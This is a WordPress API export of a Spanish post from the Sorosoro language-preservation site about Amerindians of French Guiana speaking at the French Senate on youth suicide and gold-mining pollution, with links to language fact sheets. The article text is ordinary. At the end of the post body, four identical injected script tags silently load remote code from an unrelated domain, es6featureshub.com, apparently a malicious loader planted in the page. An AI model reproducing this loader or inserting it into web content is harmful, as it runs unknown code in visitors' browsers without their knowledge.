{"id":70779,"date":"2016-12-08T14:45:57","date_gmt":"2016-12-08T13:45:57","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=70779\/"},"modified":"2025-10-21T21:53:39","modified_gmt":"2025-10-21T19:53:39","slug":"el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/","title":{"rendered":"<span style=\"font-size: 14px\">El 29-30 de noviembre de 2016<br\/><span style=\"font-size: 18px\"> Amerindios de la Guayana en Par\u00eds"},"content":{"rendered":"<p><strong>Barbara Glowczewski, <\/strong>antrop\u00f3loga y miembro del Consejo Cient\u00edfico de Sorosoro, acompa\u00f1\u00f3 una delegaci\u00f3n de Amerindios venidos de la Guayana para exponerle sus quejas al Senado en Par\u00eds. Una buena ocasi\u00f3n para proponer a los Soronautas un acercamiento a este departamento franc\u00e9s en el que los Amerindios solo son los \u00bb Abandonados de la Rep\u00fablica \u00ab, gracias a <a href=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\">un reportage completo sobre este acontecimiento<\/a> (tambi\u00e9n disponible en nuestra pesta\u00f1a \u00abLas actualidades de las lenguas en peligro \u00ab). Le invitamos pues a descubrir:<\/p>\n<ul>\n<li>Un informe de la sesi\u00f3n en el Senado del periodista Yves G\u00e9ry<\/li>\n<li>Un clip en lengua teko sobre la \u00abepidemia\u00bb de suicidios entre los j\u00f3venes Amerindios de la Guayana<\/li>\n<li>Fichas descriptivas de las lenguas y familias ling\u00fcsiticas de la Guayana<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Un coloquio inusial en el Senado<\/span><\/h5>\n<p>El pasado 30 de noviembre, el Senado acog\u00eda en sus paredes parisinas a los representantes de los diferentes pueblos amerindios de la Guayana que hab\u00edan hecho el viaje para participar en un coloquio organizado por la senadora <strong>Aline Archambaud<\/strong>. Expusieron all\u00ed las m\u00faltiples penalidades a las se enfrentan, particularmente el suicidio de los j\u00f3venes y el envenenamiento de su cadena alimentaria por los buscadores de oro clandestinos. Esta sesi\u00f3n dura y emotiva nos la relata <strong><a href=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/suicidios-envenenamiento-el-golpe-de-colera-de-los-amerindios-en-la-guayana-francesa\/\">Yves G\u00e9ry<\/a><\/strong>.<\/p>\n<p><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-69980 aligncenter\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-300x277.jpg\" alt=\"\" width=\"300\" height=\"277\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-300x277.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-768x710.jpg 768w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-1024x946.jpg 1024w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se.jpg 1741w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Un clip sobre el suicidio de los j\u00f3venes Amerindios<\/span><\/h5>\n<p style=\"text-align: justify;\"><em><strong><span style=\"font-weight: normal;\">Mamen tsidzedzikakom \u2013 <\/span><\/strong><span style=\"font-weight: normal;\">Ya es hora de detener el suicidio<\/span><strong><span style=\"font-weight: normal;\"><br \/>\nMonkonin pyly w\u00e3tsipo n\u00f5de tsidju \u2013 Ya no quedan muchos de los nuestros<br \/>\nTsidzebokatsinen aiponn &#8211; Demosnos la fuerza<\/span><\/strong><\/em><\/p>\n<p>As\u00ed es como arranca <a href=\"https:\/\/www.youtube.com\/watch?v=R-8fD-LuUQY\">el video clip<\/a> del realizador <strong>Christophe Pierre<\/strong>, alias Yanuwana al abordar con m\u00fasica el doloroso tema del suicidio entre los j\u00f3venes Amerindios de la Guayana.<\/p>\n<p><iframe loading=\"lazy\" title=\"TEKO MAKAN - _NO SUICIDE_- (clip officiel)\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/R-8fD-LuUQY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<h5 style=\"text-align: justify;\"><\/h5>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Las lenguas amerindias de la Guayana<\/span><\/h5>\n<p>Y no olvide navegar por nuestro sitio web, descubrir\u00e1 en \u00e9l las fichas descriptivas de todas las lenguas habladas en la Guayana: Las lenguas amerindias (por supuesto <a href=\"https:\/\/www.sorosoro.org\/es\/el-arawak\/\">el arahuaco<\/a>, <a href=\"https:\/\/www.sorosoro.org\/es\/el-emerillon\/\">el \u00e9m\u00e9rillon<\/a> -o teko-, <a href=\"https:\/\/www.sorosoro.org\/es\/el-kalina\/\">el kali&#8217; na<\/a>, <a href=\"https:\/\/www.sorosoro.org\/es\/el-palikur\/\">el palikur<\/a>, <a href=\"https:\/\/www.sorosoro.org\/es\/el-wayana\/\">el wayana<\/a> y <a href=\"https:\/\/www.sorosoro.org\/es\/el-wayampi\/\">el wayampi<\/a>), pero tambi\u00e9n el hmong, y las lenguas criollas de base inglesa como el aluku, ndjuka, saramaka y paramaka, sin olvidar la lengua criolla guayanesa!<\/p>\n<p>\u00a1Descubra tambien las fichas de las dem\u00e1s familias de lenguas habladas en esta regi\u00f3n como <a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-tupi-guarani\/\">las lenguas tup\u00ed<\/a> y <a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-arawak-o-maipurean\/\">arahuaco<\/a> adem\u00e1s de <a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-caribes\/\">las caribes<\/a>!<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo Cient\u00edfico de Sorosoro, acompa\u00f1\u00f3 una delegaci\u00f3n de Amerindios venidos de la Guayana para exponerle sus quejas al Senado en Par\u00eds. Una buena ocasi\u00f3n para proponer a los Soronautas un acercamiento a este departamento franc\u00e9s en el que los Amerindios solo son los \u00bb Abandonados de la Rep\u00fablica \u00ab, [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-70779","post","type-post","status-publish","format-standard","hentry","category-actualidades-de-sorosoro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo Cient\u00edfico de Sorosoro, acompa\u00f1\u00f3 una delegaci\u00f3n de Amerindios venidos de la Guayana para exponerle sus quejas al Senado en Par\u00eds. Una buena ocasi\u00f3n para proponer a los Soronautas un acercamiento a este departamento franc\u00e9s en el que los Amerindios solo son los \u00bb Abandonados de la Rep\u00fablica \u00ab, [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2016-12-08T13:45:57+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:53:39+00:00\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds\",\"datePublished\":\"2016-12-08T13:45:57+00:00\",\"dateModified\":\"2025-10-21T19:53:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\"},\"wordCount\":415,\"articleSection\":[\"Novedades en Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\",\"name\":\"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2016-12-08T13:45:57+00:00\",\"dateModified\":\"2025-10-21T19:53:39+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/","og_locale":"es_ES","og_type":"article","og_title":"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro","og_description":"Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo Cient\u00edfico de Sorosoro, acompa\u00f1\u00f3 una delegaci\u00f3n de Amerindios venidos de la Guayana para exponerle sus quejas al Senado en Par\u00eds. Una buena ocasi\u00f3n para proponer a los Soronautas un acercamiento a este departamento franc\u00e9s en el que los Amerindios solo son los \u00bb Abandonados de la Rep\u00fablica \u00ab, [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/","og_site_name":"Sorosoro","article_published_time":"2016-12-08T13:45:57+00:00","article_modified_time":"2025-10-21T19:53:39+00:00","author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Simon Couturier","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds","datePublished":"2016-12-08T13:45:57+00:00","dateModified":"2025-10-21T19:53:39+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/"},"wordCount":415,"articleSection":["Novedades en Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/","url":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/","name":"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2016-12-08T13:45:57+00:00","dateModified":"2025-10-21T19:53:39+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-amerindios-de-la-guayana-en-paris\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El 29-30 de noviembre de 2016 Amerindios de la Guayana en Par\u00eds"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=70779"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70779\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=70779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=70779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=70779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}